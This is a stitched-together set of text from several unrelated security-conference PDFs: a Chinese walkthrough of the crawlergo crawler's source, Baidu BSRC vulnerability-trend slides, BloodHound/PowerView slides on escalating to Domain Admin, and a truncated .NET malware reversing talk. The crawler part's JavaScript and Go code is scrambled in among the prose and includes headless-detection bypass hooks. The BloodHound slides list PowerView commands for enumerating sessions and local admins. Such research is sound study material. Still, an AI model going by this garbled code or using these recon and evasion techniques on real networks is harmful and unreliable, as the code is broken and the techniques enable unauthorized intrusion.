'www2', 'wwwroot', 'zone', 'admin', 'admin_bak', 'mobile', 'm', 'js'] 爬虫时的url收集 解析流量中的url 获取xmr类型的请求 正则解析js、html、json中url 收集当前页面上的url信息 对浏览器环境的hook 在chrome的tab初始化时,会执行一段js代码,hook部分函数和事件来控制js的运行环境。 "src", "href", "data-url", "data-href" object[data] 注释中的url 同时定义了一个js全局函数 addLink 、 Test ,通过这个函数可以与go进行交互。 调用go函数 js初始化时对这个函数重新包装 const binding = window["addLink"]; window["addLink"] = async(...args) => {    const me = window["addLink"];    let callbacks = me['callbacks'];    if (!callbacks) {        callbacks = new Map();        me['callbacks'] = callbacks;   }    const seq = (me['lastSeq'] || 0) + 1;    me['lastSeq'] = seq;    const promise = new Promise(fulfill => callbacks.set(seq, fulfill));    binding(JSON.stringify({name: "addLink", seq, args}));    return promise; }; const bindingTest = window["Test"]; window["Test"] = async(...args) => {    const me = window["Test"];    let callbacks = me['callbacks'];    if (!callbacks) {        callbacks = new Map();        me['callbacks'] = callbacks;   }    const seq = (me['lastSeq'] || 0) + 1;    me['lastSeq'] = seq;    const promise = new Promise(fulfill => callbacks.set(seq, fulfill));    binding(JSON.stringify({name: "Test", seq, args}));    return promise; }; go处理逻辑 执行完go函数后会再执行一段js 但是没看懂使用 promise 后回调调用的意义是什么。。 Bypass headless detect const DeliverResultJS = ` (function deliverResult(name, seq, result) { window[name]['callbacks'].get(seq)(result); window[name]['callbacks'].delete(seq); })("%s", %v, "%s") // Pass the Webdriver Test. Object.defineProperty(navigator, 'webdriver', {    get: () => false, }); // Pass the Plugins Length Test. // Overwrite the plugins property to use a custom getter. Object.defineProperty(navigator, 'plugins', {    // This just needs to have length > 0 for the current test,    // but we could mock the plugins too if necessary.    get: () => [1, 2, 3, 4, 5], }); // Pass the Chrome Test. // We can mock this in as much depth as we need for the test. window.chrome = {    runtime: {}, }; // Pass the Permissions Test. const originalQuery = window.navigator.permissions.query; window.navigator.permissions.query = (parameters) => (    parameters.name === 'notifications' ?    Promise.resolve({ state: Notification.permission }) :    originalQuery(parameters) ); 记录url以及对前端框架的适配 //Pass the Permissions Test. navigator.userAgent Object.defineProperty(navigator, 'userAgent', {    get: () => "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36", }); // 修改浏览器对象的属性 Object.defineProperty(navigator, 'platform', {    get: function () { return 'win32'; } }); Object.defineProperty(navigator, 'language', {    get: function () { return 'zh-CN'; } }); Object.defineProperty(navigator, 'languages', {    get: function () { return ["zh-CN", "zh"]; } }); // history api hook 许多前端框架都采用此API进行页面路由,记录url并取消操作 window.history.pushState = function(a, b, c) {    window.addLink(c, "HistoryAPI"); } window.history.replaceState = function(a, b, c) {    window.addLink(c, "HistoryAPI"); } Object.defineProperty(window.history,"pushState",{"writable": false, "configurable": false}); Object.defineProperty(window.history,"replaceState",{"writable": false, "configurable": false}); // 监听hash改变 Vue等框架默认使用hash部分进行前端页面路由 window.addEventListener("hashchange", function() {    window.addLink(document.location.href, "HashChange"); }); // 监听窗口的打开和关闭,记录新窗口打开的url,并取消实际操作 // hook window.open window.open = function (url) {    console.log("trying to open window.");    window.addLink(url, "OpenWindow"); } Object.defineProperty(window,"open",{"writable": false, "configurable": false}); // hook window close window.close = function() {console.log("trying to close page.");}; Object.defineProperty(window,"close",{"writable": false, "configurable": false}); // hook window.WebSocket 、window.EventSource 、 window.fetch 等函数 var oldWebSocket = window.WebSocket; window.WebSocket = function(url, arg) {    window.addLink(url, "WebSocket");    return new oldWebSocket(url, arg); } hook setTimeout/SetInterval 这个hook操作没有明白,将setInterval强制设为了60s,我想应该来个判断,大于60s时再统一设置, 60s,这样爬虫效率就变得太低了。 setTimeout取消了hook,毕竟只执行一次,可能不是很重要。 hook ajax hook 原生ajax并限制最大请求数,可能是怕自动点击造成ajax爆炸 var oldEventSource = window.EventSource; window.EventSource = function(url) {    window.addLink(url, "EventSource");    return new oldEventSource(url); } var oldFetch = window.fetch; window.fetch = function(url) {    window.addLink(url, "Fetch");    return oldFetch(url); } // hook setTimeout //window.__originalSetTimeout = window.setTimeout; //window.setTimeout = function() { //   arguments[1] = 0; //   return window.__originalSetTimeout.apply(this, arguments); //}; //Object.defineProperty(window,"setTimeout",{"writable": false, "configurable": false}); // hook setInterval 时间设置为60秒 目的是减轻chrome的压力 window.__originalSetInterval = window.setInterval; window.setInterval = function() {    arguments[1] = 60000;    return window.__originalSetInterval.apply(this, arguments); }; Object.defineProperty(window,"setInterval",{"writable": false, "configurable": false}); // 劫持原生ajax,并对每个请求设置最大请求次数 window.ajax_req_count_sec_auto = {}; XMLHttpRequest.prototype.__originalOpen = XMLHttpRequest.prototype.open; XMLHttpRequest.prototype.open = function(method, url, async, user, password) {    // hook code    this.url = url;    this.method = method;    let name = method + url;    if (!window.ajax_req_count_sec_auto.hasOwnProperty(name)) {        window.ajax_req_count_sec_auto[name] = 1   } else {        window.ajax_req_count_sec_auto[name] += 1   }    if (window.ajax_req_count_sec_auto[name] <= 10) { 锁定表单重置 爬虫在处理网页时,会先填充表单,接着触发事件去提交表单,但有时会意外点击到表单的重置按钮, 造成内容清空,表单提交失败。所以为了防止这种情况的发生,需要Hook表单的重置并锁定不能修改。 事件Hook 对dom0级和dom2级事件分别hook,用一个数组设定最大触发次数,所有js调用的事件,会对每个标签 设置一个 sec_auto_dom2_event_flag 属性,方便后面寻找并自动触发。        return this.__originalOpen(method, url, true, user, password);   } } Object.defineProperty(XMLHttpRequest.prototype,"open",{"writable": false, "configurable": false}); XMLHttpRequest.prototype.__originalSend = XMLHttpRequest.prototype.send; XMLHttpRequest.prototype.send = function(data) {    // hook code    let name = this.method + this.url;    if (window.ajax_req_count_sec_auto[name] <= 10) {        return this.__originalSend(data);   } } Object.defineProperty(XMLHttpRequest.prototype,"send",{"writable": false, "configurable": false}); XMLHttpRequest.prototype.__originalAbort = XMLHttpRequest.prototype.abort; XMLHttpRequest.prototype.abort = function() {    // hook code } Object.defineProperty(XMLHttpRequest.prototype,"abort",{"writable": false, "configurable": false}); // 锁定表单重置 HTMLFormElement.prototype.reset = function() {console.log("cancel reset form")}; Object.defineProperty(HTMLFormElement.prototype,"reset",{"writable": false, "configurable": false}); // hook dom2 级事件监听 window.add_even_listener_count_sec_auto = {}; // record event func , hook addEventListener let old_event_handle = Element.prototype.addEventListener; Element.prototype.addEventListener = function(event_name, event_func, useCapture) {    let name = "<" + this.tagName + "> " + this.id + this.name + this.getAttribute("class") + "|" + event_name;    // console.log(name)    // 对每个事件设定最大的添加次数,防止无限触发,最大次数为5    if (!window.add_even_listener_count_sec_auto.hasOwnProperty(name)) {        window.add_even_listener_count_sec_auto[name] = 1;   } else if (window.add_even_listener_count_sec_auto[name] == 5) {        return ;   } else {        window.add_even_listener_count_sec_auto[name] += 1;   }    if (this.hasAttribute("sec_auto_dom2_event_flag")) {        let sec_auto_dom2_event_flag = this.getAttribute("sec_auto_dom2_event_flag");        this.setAttribute("sec_auto_dom2_event_flag", sec_auto_dom2_event_flag + "|" + event_name);   } else {        this.setAttribute("sec_auto_dom2_event_flag", event_name);   }    old_event_handle.apply(this, arguments); }; function dom0_listener_hook(that, event_name) {    let name = "<" + that.tagName + "> " + that.id + that.name + that.getAttribute("class") + "|" + event_name;    // console.log(name);    // 对每个事件设定最大的添加次数,防止无限触发,最大次数为5    if (!window.add_even_listener_count_sec_auto.hasOwnProperty(name)) {        window.add_even_listener_count_sec_auto[name] = 1;   } else if (window.add_even_listener_count_sec_auto[name] == 5) {        return ;   } else {        window.add_even_listener_count_sec_auto[name] += 1;   }    if (that.hasAttribute("sec_auto_dom2_event_flag")) {        let sec_auto_dom2_event_flag = that.getAttribute("sec_auto_dom2_event_flag");        that.setAttribute("sec_auto_dom2_event_flag", sec_auto_dom2_event_flag + "|" + event_name);   } else {        that.setAttribute("sec_auto_dom2_event_flag", event_name);   } } // hook dom0 级事件监听 Object.defineProperties(HTMLElement.prototype, {    onclick: {set: function(newValue){onclick = newValue;dom0_listener_hook(this, "click");}},    onchange: {set: function(newValue){onchange = newValue;dom0_listener_hook(this, "change");}},    onblur: {set: function(newValue){onblur = newValue;dom0_listener_hook(this, "blur");}},    ondblclick: {set: function(newValue){ondblclick = newValue;dom0_listener_hook(this, "dbclick");}},    onfocus: {set: function(newValue){onfocus = newValue;dom0_listener_hook(this, "focus");}},    onkeydown: {set: function(newValue){onkeydown = newValue;dom0_listener_hook(this, "keydown");}},    onkeypress: {set: function(newValue){onkeypress = newValue;dom0_listener_hook(this, "keypress");}},    onkeyup: {set: function(newValue){onkeyup = newValue;dom0_listener_hook(this, "keyup");}},    onload: {set: function(newValue){onload = newValue;dom0_listener_hook(this, "load");}},    onmousedown: {set: function(newValue){onmousedown = newValue;dom0_listener_hook(this, "mousedown");}},    onmousemove: {set: function(newValue){onmousemove = newValue;dom0_listener_hook(this, "mousemove");}}, 表单填充,事件触发 表单填充    onmouseout: {set: function(newValue){onmouseout = newValue;dom0_listener_hook(this, "mouseout");}},    onmouseover: {set: function(newValue){onmouseover = newValue;dom0_listener_hook(this, "mouseover");}},    onmouseup: {set: function(newValue){onmouseup = newValue;dom0_listener_hook(this, "mouseup");}},    onreset: {set: function(newValue){onreset = newValue;dom0_listener_hook(this, "reset");}},    onresize: {set: function(newValue){onresize = newValue;dom0_listener_hook(this, "resize");}},    onselect: {set: function(newValue){onselect = newValue;dom0_listener_hook(this, "select");}},    onsubmit: {set: function(newValue){onsubmit = newValue;dom0_listener_hook(this, "submit");}},    onunload: {set: function(newValue){onunload = newValue;dom0_listener_hook(this, "unload");}},    onabort: {set: function(newValue){onabort = newValue;dom0_listener_hook(this, "abort");}},    onerror: {set: function(newValue){onerror = newValue;dom0_listener_hook(this, "error");}}, }) input处理 multiSelect css语法获取select第一个元素,设置属性即可 // 找出 type 为空 或者 type=text for _, node := range nodes {    // 兜底超时    tCtxN, cancelN := context.WithTimeout(ctx, time.Second*5)    attrType := node.AttributeValue("type")    if attrType == "text" || attrType == "" {        inputName := node.AttributeValue("id") + node.AttributeValue("class") + node.AttributeValue("name")        value := f.GetMatchInputText(inputName)        // 寻找匹配类型的值        var nodeIds = []cdp.NodeID{node.NodeID}        // 先使用模拟输入        _ = chromedp.SendKeys(nodeIds, value, chromedp.ByNodeID).Do(tCtxN)        // 再直接赋值JS属性        _ = chromedp.SetAttributeValue(nodeIds, "value", value, chromedp.ByNodeID).Do(tCtxN)   } else if attrType == "email" || attrType == "password" || attrType == "tel" {        value := f.GetMatchInputText(attrType)        // 寻找匹配类型的值        var nodeIds = []cdp.NodeID{node.NodeID}        // 先使用模拟输入        _ = chromedp.SendKeys(nodeIds, value, chromedp.ByNodeID).Do(tCtxN)        // 再直接赋值JS属性        _ = chromedp.SetAttributeValue(nodeIds, "value", value, chromedp.ByNodeID).Do(tCtxN)   } else if attrType == "radio" || attrType == "checkbox" {        var nodeIds = []cdp.NodeID{node.NodeID}        _ = chromedp.SetAttributeValue(nodeIds, "checked", "true", chromedp.ByNodeID).Do(tCtxN)   } else if attrType == "file" || attrType == "image" {        var nodeIds = []cdp.NodeID{node.NodeID}        wd, _ := os.Getwd()        filePath := wd + "/upload/image.png"        _ = chromedp.RemoveAttribute(nodeIds, "accept", chromedp.ByNodeID).Do(tCtxN)        _ = chromedp.RemoveAttribute(nodeIds, "required", chromedp.ByNodeID).Do(tCtxN)        // 对于一些简单的限制,可以去掉,比如找到文件上传的dom节点并删除 accept 和 required 属性:        _ = chromedp.SendKeys(nodeIds, filePath, chromedp.ByNodeID).Do(tCtxN)   }    cancelN() } TextArea 找到后填充即可 自动化提交表单 提交表单也有一些需要注意的问题,直接点击form表单的提交按钮会导致页面重载,我们并不希 望当前页面刷新,所以除了Hook住前端导航请求之外,我们还可以为form节点设置target属性, 指向一个隐藏的iframe。具体操作的话就是新建隐藏iframe然后将form表单的target指向它即可 optionNodes, optionErr := f.tab.GetNodeIDs(`select option:first-child`) if optionErr != nil || len(optionNodes) == 0 { logger.Logger.Debug("fillMultiSelect: get select option element err") if optionErr != nil { logger.Logger.Debug(optionErr) } return } _ = chromedp.SetAttributeValue(optionNodes, "selected", "true", chromedp.ByNodeID).Do(tCtx) _ = chromedp.SetJavascriptAttribute(optionNodes, "selected", "true", chromedp.ByNodeID).Do(tCtx) textareaNodes, textareaErr := f.tab.GetNodeIDs(`textarea`) if textareaErr != nil || len(textareaNodes) == 0 {    logger.Logger.Debug("fillTextarea: get textarea element err")    if textareaErr != nil {        logger.Logger.Debug(textareaErr)   }    return } _ = chromedp.SendKeys(textareaNodes, value, chromedp.ByNodeID).Do(tCtx) /** 设置form的target指向一个frame */ const NewFrameTemplate = ` (function sec_auto_new_iframe () { let frame = document.createElement("iframe"); frame.setAttribute("name", "%s"); frame.setAttribute("id", "%s"); frame.setAttribute("style", "display: none"); document.body.appendChild(frame); })() ` func (tab *Tab) setFormToFrame() { // 首先新建 frame nameStr := tools.RandSeq(8) tab.Evaluate(fmt.Sprintf(js.NewFrameTemplate, nameStr, nameStr)) // 接下来将所有的 form 节点target都指向它 ctx := tab.GetExecutor() formNodes, formErr := tab.GetNodeIDs(`form`) if formErr != nil || len(formNodes) == 0 { 要成功的提交表单,就得正确触发表单的submit操作。不是所有的前端内容都有规范的表单格式,或许 有一些form连个button都没有,所以这里有三种思路可供尝试,保险起见建议全部都运行一次: 在form节点的子节点内寻找 type=submit 的节点,执行 elementHandle.click() 方法。 直接对form节点执行JS语句: form.submit() ,注意,如果form内有包含属性值 name=submit 的节点,将会抛出异常,所以注意捕获异常。 在form节点的子节点内寻找所有button节点,全部执行一次 elementHandle.click() 方法。因为 我们之前已经重定义并锁定了表单重置函数,所以不用担心会清空表单。 这样,绝大部分表单我们都能触发了。 logger.Logger.Debug("setFormToFrame: get form element err") if formErr != nil { logger.Logger.Debug(formErr) } return } tCtx, cancel := context.WithTimeout(ctx, time.Second*2) defer cancel() _ = chromedp.SetAttributeValue(formNodes, "target", nameStr, chromedp.ByNodeID).Do(tCtx) } /** 点击按钮 type=submit */ func (tab *Tab) clickSubmit() { defer tab.formSubmitWG.Done() // 首先点击按钮 type=submit ctx := tab.GetExecutor() // 获取所有的form节点 直接执行submit formNodes, formErr := tab.GetNodeIDs(`form`) if formErr != nil || len(formNodes) == 0 { logger.Logger.Debug("clickSubmit: get form element err") if formErr != nil { logger.Logger.Debug(formErr) } return } tCtx1, cancel1 := context.WithTimeout(ctx, time.Second*2) defer cancel1() _ = chromedp.Submit(formNodes, chromedp.ByNodeID).Do(tCtx1) // 获取所有的input标签 inputNodes, inputErr := tab.GetNodeIDs(`form input[type=submit]`) if inputErr != nil || len(inputNodes) == 0 { logger.Logger.Debug("clickSubmit: get form input element err") if inputErr != nil { logger.Logger.Debug(inputErr) } return } tCtx2, cancel2 := context.WithTimeout(ctx, time.Second*2) defer cancel2() _ = chromedp.Click(inputNodes, chromedp.ByNodeID).Do(tCtx2) 事件触发 1. 对JavaScript协议的内联事件触发,执行以下js } /** click all button */ func (tab *Tab) clickAllButton() { defer tab.formSubmitWG.Done() // 获取所有的form中的button节点 ctx := tab.GetExecutor() // 获取所有的button标签 btnNodeIDs, bErr := tab.GetNodeIDs(`form button`) if bErr != nil || len(btnNodeIDs) == 0 { logger.Logger.Debug("clickAllButton: get form button element err") if bErr != nil { logger.Logger.Debug(bErr) } return } tCtx, cancel1 := context.WithTimeout(ctx, time.Second*2) defer cancel1() _ = chromedp.Click(btnNodeIDs, chromedp.ByNodeID).Do(tCtx) // 使用JS的click方法进行点击 var btnNodes []*cdp.Node tCtx2, cancel2 := context.WithTimeout(ctx, time.Second*2) defer cancel2() err := chromedp.Nodes(btnNodeIDs, &btnNodes, chromedp.ByNodeID).Do(tCtx2) if err != nil { return } for _, node := range btnNodes { _ = tab.EvaluateWithNode(js.FormNodeClickJS, node) } } (async function click_all_a_tag_javascript(){ let nodeListHref = document.querySelectorAll("[href]"); nodeListHref = window.randArr(nodeListHref); for (let node of nodeListHref) { let attrValue = node.getAttribute("href"); if (attrValue.toLocaleLowerCase().startsWith("javascript:")) { await window.sleep(%f); try { eval(attrValue.substring(11)); } catch {} } } let nodeListSrc = document.querySelectorAll("[src]"); nodeListSrc = window.randArr(nodeListSrc); for (let node of nodeListSrc) { let attrValue = node.getAttribute("src"); 2. 对常见的内联事件触发 3. 对之前hook的事件触发,对于某些节点,可能会存在子节点也响应的事件,为了性能考虑,可以 将层数控制到三层,且对兄弟节点随机选择一个触发。简单画图说明: 1. if (attrValue.toLocaleLowerCase().startsWith("javascript:")) { await window.sleep(%f); try { eval(attrValue.substring(11)); } catch {} } } })() (async function trigger_all_inline_event(){ let eventNames = ["onabort", "onblur", "onchange", "onclick", "ondblclick", "onerror", "onfocus", "onkeydown", "onkeypress", "onkeyup", "onload", "onmousedown", "onmousemove", "onmouseout", "onmouseover", "onmouseup", "onreset", "onresize", "onselect", "onsubmit", "onunload"]; for (let eventName of eventNames) { let event = eventName.replace("on", ""); let nodeList = document.querySelectorAll("[" + eventName + "]"); if (nodeList.length > 100) { nodeList = nodeList.slice(0, 100); } nodeList = window.randArr(nodeList); for (let node of nodeList) { await window.sleep(%f); let evt = document.createEvent('CustomEvent'); evt.initCustomEvent(event, false, true, null); try { node.dispatchEvent(evt); } catch {} } } })() (async function trigger_all_dom2_custom_event() { 4. 监控插入的节点,如果新增节点的href src含有JavaScript协议,则手动触发。这似乎会漏一些内联 事件的触发。 function transmit_child(node, event, loop) { let _loop = loop + 1 if (_loop > 4) { return; } if (node.nodeType === 1) { if (node.hasChildNodes) { let index = parseInt(Math.random()*node.children.length,10); try { node.children[index].dispatchEvent(event); } catch(e) {} let max = node.children.length>5?5:node.children.length; for (let count=0;count<max;count++) { let index = parseInt(Math.random()*node.children.length,10); transmit_child(node.children[index], event, _loop); } } } } let nodes = document.querySelectorAll("[sec_auto_dom2_event_flag]"); if (nodes.length > 200) { nodes = nodes.slice(0, 200); } nodes = window.randArr(nodes); for (let node of nodes) { let loop = 0; await window.sleep(%f); let event_name_list = node.getAttribute("sec_auto_dom2_event_flag").split("|"); let event_name_set = new Set(event_name_list); event_name_list = [...event_name_set]; for (let event_name of event_name_list) { let evt = document.createEvent('CustomEvent'); evt.initCustomEvent(event_name, true, true, null); if (event_name == "click" || event_name == "focus" || event_name == "mouseover" || event_name == "select") { transmit_child(node, evt, loop); } if ( (node.className && node.className.includes("close")) || (node.id && node.id.includes("close"))) { continue; } try { node.dispatchEvent(evt); } catch(e) {} } } })() (function init_observer_sec_auto_b() { window.dom_listener_func_sec_auto = function (e) { 窗口阻塞处理 crawler处理了 alert()/prompt() 基础认证等等的阻塞。 let node = e.target; let nodeListSrc = node.querySelectorAll("[src]"); for (let each of nodeListSrc) { if (each.src) { window.addLink(each.src, "DOM"); let attrValue = each.getAttribute("src"); if (attrValue.toLocaleLowerCase().startsWith("javascript:")) { try { eval(attrValue.substring(11)); } catch {} } } } let nodeListHref = node.querySelectorAll("[href]"); nodeListHref = window.randArr(nodeListHref); for (let each of nodeListHref) { if (each.href) { window.addLink(each.href, "DOM"); let attrValue = each.getAttribute("href"); if (attrValue.toLocaleLowerCase().startsWith("javascript:")) { try { eval(attrValue.substring(11)); } catch {} } } } }; document.addEventListener('DOMNodeInserted', window.dom_listener_func_sec_auto, true); document.addEventListener('DOMSubtreeModified', window.dom_listener_func_sec_auto, true); document.addEventListener('DOMNodeInsertedIntoDocument', window.dom_listener_func_sec_auto, true); document.addEventListener('DOMAttrModified', window.dom_listener_func_sec_auto, true); })() chromedp.ListenTarget(*tab.Ctx, func(v interface{}) { switch v := v.(type) {        //case *network.EventLoadingFailed: // logger.Logger.Error("EventLoadingFailed ", v.ErrorText) // 401 407 要求认证 此时会阻塞当前页面 需要处理解决 case *fetch.EventAuthRequired: tab.WG.Add(1) go tab.HandleAuthRequired(v)        // close Dialog case *page.EventJavascriptDialogOpening: tab.WG.Add(1) go tab.dismissDialog() 但是还有 打印 和 文件上传窗口可能阻塞窗口 打印事件可以hook函数,文件上传窗口可以用 Page.setInterceptFileChooserDialog 过滤。 End 一些还可以优化的部分,表单填充可以识别参数长度 max-length 、 min-length 从Crawlergo的设计和源码中能提取出很多东西来, 基于网页结构的大量网页快速相似匹配,如果能集成到那些网络空间引擎中应该会很好玩,但似乎 还没有一家做过。 有了原生的动态爬虫支持,对自动化漏扫也有了更多的想法,例如通过hook一些触发函数,污点检测来 检测dom xss,爬虫的原始请求包可以直接推到w13scan中。有了自动化爬虫,后续所有流量都可以存 储一份,直接用搜索语法来找到相同参数的页面进行poc测试等等。。 作者的代码风格太不go了,想重写一份了。 参考 https://www.anquanke.com/post/id/178339#h2-17 https://xz.aliyun.com/t/7064#toc-11       } })
pdf
从BSRC看互联网企业安全漏洞及 威胁趋势 百度安全应急响应中心 Baidu Security Response Center 百度安全应急响应中心 Baidu Security Response Center 目录 ‣ 互联网企业漏洞分布 ‣ 漏洞趋势 ‣ 趋势分析 ‣ 未来的关注点 百度安全应急响应中心 Baidu Security Response Center 互联网企业漏洞分布 • 安全设计缺陷(逻辑漏洞)20% • XSS 18% • 信息泄露 12% • 越权 25% • 其他 25% 百度安全应急响应中心 Baidu Security Response Center 逻辑漏洞(业务强相关性漏洞) •通常是对业务的威胁,而非对资产的威胁 •产品在设计、实现阶段没有考虑到的问题 •比如:帐号操作、支付逻辑 百度安全应急响应中心 Baidu Security Response Center 越权(未授权访问) •水平、垂直权限跨越 •接口、页面的未授权访问 •信息泄露 百度安全应急响应中心 Baidu Security Response Center 信息泄露 • 云存储:AWS S3 • 代码托管:github • 文档:博客 百度安全应急响应中心 Baidu Security Response Center 漏洞趋势 •传统高危漏洞占比小,但仍然存在 •难以自动化发现的问题威胁凸显 百度安全应急响应中心 Baidu Security Response Center 技术因素 • 传统漏洞自动化检测方案成熟 • 开源、商业、自研产品成本低 • 现代web开发框架安全性提升 • 开发者安全意识提升 百度安全应急响应中心 Baidu Security Response Center 黑产 • 薅羊毛:关注各类营销活动 • 虚假刷量刷单:作弊欺骗平台获取收益 • 窃取用户隐私:用于诈骗 • 流量劫持:运营商劫持投放广告、捆绑恶意软件 • 诈骗:骗取用户钱财、各类帐号信息 百度安全应急响应中心 Baidu Security Response Center 挖漏洞的方式 权衡时间与收益 • 自动化:更深的路径、更广的范围 • 深入业务:边缘业务、深挖业务逻辑 • 新思路:奇技淫巧 坚持一定的时间投入 百度安全应急响应中心 Baidu Security Response Center (互联网)企业关注什么 •资产 •法规 •数据(隐私)「一个SQL注入多少分?」 •声誉 百度安全应急响应中心 Baidu Security Response Center 未来的关注点 • API • 业务逻辑漏洞 • 黑产情报 • 新基础环境(容器化、云化) 百度安全应急响应中心 Baidu Security Response Center API •泄露用户隐私、执行敏感操作 •被上下游系统滥用 •无人维护 百度安全应急响应中心 Baidu Security Response Center 业务逻辑漏洞 •结合相关业务特征 •内容建模识别 百度安全应急响应中心 Baidu Security Response Center 黑产情报 •能获取到的往往只是用户反馈的现象(线索) •难收到确切可靠的高价值情报 百度安全应急响应中心 Baidu Security Response Center 容器化 容器化:docker、kubernates、自研COS • 漏洞定位 • 安全隔离 • 安全能力滞后 百度安全应急响应中心 Baidu Security Response Center 云化 •没有自有IDC •依赖外部安全产品 •原有安全基础设施需迁移、适配 •系统边界模糊 百度安全应急响应中心 Baidu Security Response Center 谢谢
pdf
Six Degrees of Domain Admin About Us I am Andy Robbins Job: Pentester at Veris Group’s ATD Speaker: BSidesLV/Seattle, ISC2 World Congress, ISSA International Trainer: Black Hat USA 2016 Other: Ask me about ACH Twitter: @_wald0 About Us I am Rohan Vazarkar Job: Pentester at Veris Group’s ATD Tool creator/dev: EyeWitness, Python Empyre, etc. Presenter: BSidesDC/LV/DE, Black Hat Arsenal Trainer: Black Hat USA 2016 Twitter: @CptJesus About Us I am Will Schroeder Job: Researcher at Veris Group’s ATD Tool creator/dev: Veil-Framework, PowerView, PowerUp, Empire/Empyre Speaker: Ask me Trainer: Black Hat USA 2014-2016 Other: Microsoft PowerShell/CDM MVP Twitter: @harmj0y The Current State of Active Directory Domain Privilege Escalation “Defenders think in lists. Attackers think in graphs. As long as this is true, attackers win.” John Lambert GM, Microsoft Threat Intelligence Center AD Domain Priv Esc ◇ Active Directory is ubiquitous ◇ Ubiquity = Attention = Research time and $$$ ◇ Sometimes we get easy buttons! DA DA ! ! ! ! ! ! ! Derivative Local Admin “The chaining or linking of administrator rights through compromising other privileged accounts” Justin Warner @sixdub ! ! Bob PC1 Mary PC2 ! Bob Help Desk Server Admins PC2 Challenges ◇ Extremely time consuming and tedious ◇ Not comprehensive ◇ Limited situational awareness ◇ Did you even need DA? Graph Theory And attack graph design Basic Elements of a Graph Vertices represent individual elements of a system Edges generically represent relationships between vertices Paths are sets of vertices and edges that connect non- adjacent vertices Vertex 1 Vertex 2 Edge Vertex 1 Vertex 3 Vertex 2 Vertex 4 BloodHound Attack Graph Design Vertices represent users, groups, computers, and domains Edges identify group memberships, admin rights, user sessions, and domain trusts Paths always lead toward escalating rights. Always. Group: IT Admins User: Bob MemberOf Computer: Server1 HasSession User: Mary Group: Domain Admins Put Simply… ◇ Who is logged on where? ◇ Who has admin rights where? ◇ What users and groups belong to what groups? Stealthy Data Collection with PowerView “The best tool these days for understanding Windows networks is PowerView…” Phineas Phisher http://pastebin.com/raw/0SNSvyjJ PowerView ◇ A pure PowerShell v2.0+ domain/network situational awareness tool ◇ Collects the data that BloodHound is built on and doesn’t need elevated privileges for most collection methods! Who’s Logged in Where? ◇ Invoke-UserHunter:   Get-NetSession – sessions w/ a remote machine   Get-NetLoggedOn/Get-LoggedOnLocal – who’s logged in on what machine ◇ -Stealth:   Enumerate commonly trafficked servers and query remote sessions for each aka “user hunting” Who Can Admin What? ◇ We can enumerate members of a local group on a remote machine, without admin privileges!   The WinNT service provider or NetLocalGroupMembers() ◇ PowerView:   Get-NetLocalGroup –ComputerName IP [-API] Who Can Admin What? GPO Edition ◇ GPOs can set local administrators ◇ GPOs are applied to OUs/Sites   correlation == local admin information through communication with only a DC! ◇ PowerView:   Find-GPOLocation Who’s in What Groups? ◇ Enumerate all groups and pull the members of each ◇ PowerView:   Get-NetGroup | Get-NetGroupMember ◇ That’s it! Bringing it All Together The BloodHound Ingestor Get- BloodHoundData automates gathering PowerView data for a domain Export- BloodHoundData exports collected data to a neo4j batch REST API for ingestion Export- BloodHoundCSV exports collected data to a series of CSVs for offline ingestion BloodHound Live demo! BloodHound ◇ Built with Linkurious.js ◇ Compiled with Electron ◇ Uses a neo4j graph database ◇ Fed by the custom PowerShell ingestor bit.ly/GetBloodHound Thanks! @_wald0 @CptJesus @harmj0y
pdf
1 .NET MALWARE THREAT: INTERNALS AND REVERSING DEF CON USA 2019 DEF CON USA 2019 by Alexandre Borges ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 2 Malware and Security Researcher. Speaker at DEF CON USA 2018 Speaker at DEF CON China 2019 Speaker at CONFidence Conference 2019 (Poland) Speaker at HITB 2019 Amsterdam Speaker at BSIDES 2019/2018/2017/2016 Speaker at H2HC 2016/2015 Speaker at BHACK 2018 Consultant, Instructor and Speaker on Malware Analysis, Memory Analysis, Digital Forensics and Rootkits. Reviewer member of the The Journal of Digital Forensics, Security and Law. Referee on Digital Investigation: The International Journal of Digital Forensics & Incident Response Agenda: Introduction Managed executable structures CLR and Assembly Loader details .NET internals metadata Modules, assemblies and manifest .NET program structures Malicious code through MSIL .NET debugging Few GC and synchronous aspects Conclusion ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 3 Last talks in conferences: CONFidence Conference 2019: https://confidence-conference.org/2019/bio.html#id=37486 slides: http://www.blackstormsecurity.com/CONFIDENCE_2019_ALEXANDRE.pdf DEF CON China 2019: https://www.defcon.org/html/dc-china-1/dc-cn-1-speakers.html#Borges slides: http://www.blackstormsecurity.com/docs/DEFCON_CHINA_ALEXANDRE.pdf HITB Amsterdam 2019: https://conference.hitb.org/hitbsecconf2019ams/speakers/alexandre-borges/ slides: http://www.blackstormsecurity.com/docs/HITB_AMS_2019.pdf DEF CON USA 2018: https://www.defcon.org/html/defcon-26/dc-26-speakers.html#Borges slides: http://www.blackstormsecurity.com/docs/DEFCON2018.pdf Malwoverview Tool: https://github.com/alexandreborges/malwoverview ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER INTRODUCTION DEF CON USA 2019 4 ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 5 Motivations to talk about .NET reversing and internals: Most of the time, professionals are interested in unpacking embedded resources from a .NET sample. In another moment, the concern is dumping the unpacked binary from memory. Sometimes, we have looked for any unpacking routine to dynamically unpack the encrypted content. All of these actions are correct and recommended. However.... Many people don’t understand .NET metadata components. Most people based their analysis on the decompiled code, but never on IL. Malware’s authors have manipulated the IL to attack and even the runtime. ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 6 There are many available methods to infect a system using .NET malware. Most of the time, a .NET code decrypts and loads a native code (or injects a code into a target process). However, there are few approaches that use indirect techniques: An e-mail comes from the Internet and a first dropper is downloaded. This dropper fetches a encrypted payload, which contains a native payload and a managed code. The payload 1 executes and injects a DLL into a remote chosen process. This DLL loads (and sometime decrypts) the malicious managed code. The malicious managed code drops the payload 2 (real and advanced). The true infection starts. dropper (unmanaged) payload 1 (unmanaged) vector (managed) inject a DLL in a remote process payload 2 Infection ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 7 It is not necessary to comment about how to 